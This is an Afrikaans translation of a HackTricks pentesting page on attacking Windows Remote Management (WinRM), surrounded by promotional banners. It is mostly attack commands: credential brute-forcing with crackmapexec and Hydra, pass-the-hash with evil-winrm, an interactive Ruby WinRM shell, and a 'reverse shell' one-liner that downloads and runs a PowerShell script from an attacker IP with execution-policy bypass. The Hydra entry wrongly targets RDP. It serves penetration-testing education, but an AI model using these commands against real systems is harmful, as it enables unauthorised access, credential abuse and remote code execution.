16 KiB
5985,5986 - Pentesting WinRM
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy jou maatskappy geadverteer wil sien in HackTricks of HackTricks in PDF wil aflaai Kyk na die INSKRYWINGSPLANNE!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek Die PEASS Familie, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou haktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslag.
![](/Mirrors/hacktricks/media/commit/e41943cf169f2d566ef119d472a564e26f26bcba/.gitbook/assets/image%20%28380%29.png)
Sluit aan by HackenProof Discord bediener om met ervare hackers en foutbeloningsjagters te kommunikeer!
Hacking-insigte
Tree in kontak met inhoud wat in die opwinding en uitdagings van hackery duik
Haknuus in Werklikheid
Bly op hoogte van die snelveranderende hackery-wêreld deur werklike nuus en insigte
Nuutste Aankondigings
Bly ingelig met die nuutste foutbelonings wat bekendgestel word en noodsaaklike platformopdaterings
Sluit by ons aan op Discord en begin vandag saamwerk met top hackers!
WinRM
Windows Remote Management (WinRM) word uitgelig as 'n protokol deur Microsoft wat die afgeleë bestuur van Windows-stelsels deur HTTP(S) moontlik maak, waarby SOAP in die proses gebruik word. Dit word fundamenteel aangedryf deur WMI, wat ditself aanbied as 'n HTTP-gebaseerde koppelvlak vir WMI-operasies.
Die teenwoordigheid van WinRM op 'n masjien maak dit moontlik vir eenvoudige afgeleë administrasie via PowerShell, soortgelyk aan hoe SSH vir ander bedryfstelsels werk. Om vas te stel of WinRM operasioneel is, word aanbeveel om te kyk vir die oopmaak van spesifieke poorte:
- 5985/tcp (HTTP)
- 5986/tcp (HTTPS)
'n Oop poort van die lys hierbo beteken dat WinRM opgestel is, wat dus pogings toelaat om 'n afgeleë sessie te begin.
Inisieer 'n WinRM-sessie
Om PowerShell te konfigureer vir WinRM, kom Microsoft se Enable-PSRemoting
cmdlet in werking, wat die rekenaar opstel om afgeleë PowerShell-opdragte te aanvaar. Met verhoogde PowerShell-toegang kan die volgende opdragte uitgevoer word om hierdie funksionaliteit moontlik te maak en enige gasheer as vertrou word te merk:
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
Hierdie benadering behels die byvoeging van 'n wildkaart na die trustedhosts
-konfigurasie, 'n stap wat versigtige oorweging vereis as gevolg van sy implikasies. Daar word ook opgemerk dat dit moontlik nodig kan wees om die netwerk tipe van "Openbaar" na "Werk" te verander op die aanvaller se masjien.
Verder kan WinRM afgeaktiveer word op afstand deur die gebruik van die wmic
-bevel, gedemonstreer soos volg:
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
Hierdie metode maak die afstandsopstelling van WinRM moontlik, wat die buigsaamheid in die bestuur van Windows-masjiene van ver af verbeter.
Toets of gekonfigureer
Om die opstelling van jou aanvalsmasjien te verifieer, word die Test-WSMan
bevel gebruik om te kontroleer of die teiken WinRM behoorlik gekonfigureer het. Deur hierdie bevel uit te voer, behoort jy besonderhede te ontvang oor die protokolweergawe en wsmid, wat 'n suksesvolle konfigurasie aandui. Hieronder is voorbeelde wat die verwagte uitset demonstreer vir 'n gekonfigureerde teiken teenoor 'n ongekonfigureerde een:
- Vir 'n teiken wat wel behoorlik gekonfigureer is, sal die uitset soortgelyk lyk aan die volgende:
Test-WSMan <target-ip>
Die respons behoort inligting te bevat oor die protokol weergawe en wsmid, wat aandui dat WinRM korrek opgestel is.
- Omgekeerd, vir 'n teiken wat nie ingestel is vir WinRM nie, sou dit tot geen sulke gedetailleerde inligting lei nie, wat die afwesigheid van 'n behoorlike WinRM-opstelling beklemtoon.
Voer 'n bevel uit
Om ipconfig
op afstand op 'n teikenrekenaar uit te voer en die uitvoer te sien, doen die volgende:
Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
Jy kan ook 'n bevel van jou huidige PS-konsole uitvoer via Invoke-Command. Veronderstel dat jy plaaslik 'n funksie genaamd enumeration het en jy wil dit op 'n afgeleë rekenaar uitvoer, kan jy doen:
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
Voer 'n Skrip Uit
Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
Kry omgekeerde dopshell
Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
Kry 'n PS-sessie
Om 'n interaktiewe PowerShell-skul te kry, gebruik Enter-PSSession
:
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
# Enter
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
## Bypass proxy
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
# Save session in var
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
## Background current PS session
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)
Die sessie sal in 'n nuwe proses (wsmprovhost) hardloop binne die "slagoffer"
WinRM Oopdwang
Om PS Remoting en WinRM te gebruik, maar die rekenaar is nie gekonfigureer nie, kan jy dit aktiveer met:
.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
Stoor en Herstel sessies
Dit sal nie werk as die taal beperk is op die afgeleë rekenaar nie.
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
#You can save a session inside a variable
$sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
#And restore it at any moment doing
Enter-PSSession -Session $sess1
Binne hierdie sessies kan jy PS-skripte laai deur Invoke-Command te gebruik.
Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
Foute
As jy die volgende fout vind:
enter-pssession : Verbinding met afgeleë bediener 10.10.10.175 het misluk met die volgende foutboodskap : Die WinRM-klient kan nie die versoek verwerk nie. As die outentiseringskema verskil van Kerberos, of as die klient-rekenaar nie by 'n domein aangesluit is nie, moet HTTPS-vervoer gebruik word of die bestemmingsmasjien moet by die TrustedHosts-konfigurasie-instelling gevoeg word. Gebruik winrm.cmd om TrustedHosts te konfigureer. Let daarop dat rekenaars in die TrustedHosts-lys moontlik nie geoutentiseer word nie. Jy kan meer inligting daaroor kry deur die volgende bevel uit te voer: winrm help config. Vir meer inligting, sien die about_Remote_Troubleshooting Help-onderwerp.
Die probeer op die klient (inligting van hier):
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
![](/Mirrors/hacktricks/media/commit/e41943cf169f2d566ef119d472a564e26f26bcba/.gitbook/assets/image%20%28380%29.png)
Sluit aan by HackenProof Discord bediener om met ervare hackers en foutbeloningsjagters te kommunikeer!
Hack-insigte
Gaan aan met inhoud wat in die opwinding en uitdagings van hack betrokke is
Hack-nuus in werklikheid
Bly op hoogte van die snelveranderende hackwêreld deur middel van werklike nuus en insigte
Nuutste aankondigings
Bly ingelig oor die nuutste foutbelonings wat bekendgestel word en noodsaaklike platformopdaterings
Sluit by ons aan op Discord en begin vandag saamwerk met top hackers!
WinRM-verbinding in Linux
Brute Force
Wees versigtig, die kragtige krag van winrm kan gebruikers blokkeer.
#Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
#Just check a pair of credentials
# Username + Password + CMD command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm
Gebruik van kwaadwillige winrm
gem install evil-winrm
Lees die dokumentasie op sy github: https://github.com/Hackplayers/evil-winrm
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
Om kwaadwillige-winrm te gebruik om met 'n IPv6-adres te verbind, skep 'n inskrywing binnein /etc/hosts wat 'n domeinnaam na die IPv6-adres instel en verbind met daardie domein.
Gee die huts met kwaadwillige-winrm
evil-winrm -u <username> -H <Hash> -i <IP>
Die gebruik van 'n PS-docker masjien
docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds
Gebruik 'n ruby-skrip
Kode onttrek van hier: https://alamot.github.io/winrm_shell/
require 'winrm-fs'
# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
# https://alamot.github.io/winrm_shell/
conn = WinRM::Connection.new(
endpoint: 'https://IP:PORT/wsman',
transport: :ssl,
user: 'username',
password: 'password',
:no_ssl_peer_verification => true
)
class String
def tokenize
self.
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
select {|s| not s.empty? }.
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
end
end
command=""
file_manager = WinRM::FS::FileManager.new(conn)
conn.shell(:powershell) do |shell|
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
if command.start_with?('UPLOAD') then
upload_command = command.tokenize
print("Uploading " + upload_command[1] + " to " + upload_command[2])
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
end
command = "echo `nOK`n"
end
output = shell.run(command) do |stdout, stderr|
STDOUT.print(stdout)
STDERR.print(stderr)
end
end
puts("Exiting with code #{output.exitcode}")
end
Shodan
port:5985 Microsoft-HTTPAPI
Verwysings
HackTricks Outomatiese Opdragte
Protocol_Name: WinRM #Protocol Abbreviation if there is one.
Port_Number: 5985 #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for WinRM
Note: |
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.
sudo gem install winrm winrm-fs colorize stringio
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p ‘MySuperSecr3tPass123!’
https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/
ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
^^so you can upload binary's from that directory or -s to upload scripts (sherlock)
menu
invoke-binary `tab`
#python3
import winrm
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))
https://book.hacktricks.xyz/pentesting/pentesting-winrm
Entry_2:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
![](/Mirrors/hacktricks/media/commit/e41943cf169f2d566ef119d472a564e26f26bcba/.gitbook/assets/image%20%28380%29.png)
Sluit aan by HackenProof Discord bediener om met ervare hackers en foutbeloningsjagters te kommunikeer!
Hack-insigte
Gaan aan met inhoud wat die opwinding en uitdagings van hack bekyk
Hack Nuus in Werklikheid
Bly op hoogte van die snelveranderende hackwêreld deur werklikheidsnuus en insigte
Nuutste Aankondigings
Bly ingelig met die nuutste foutbelonings wat bekendgestel word en kritieke platformopdaterings
Sluit by ons aan op Discord en begin vandag saamwerk met top hackers!
Leer AWS-hack van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat Kyk na die INSKRYWINGSPLANNE!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek Die PEASS Familie, ons versameling eksklusiewe NFT's
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou hacktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslag.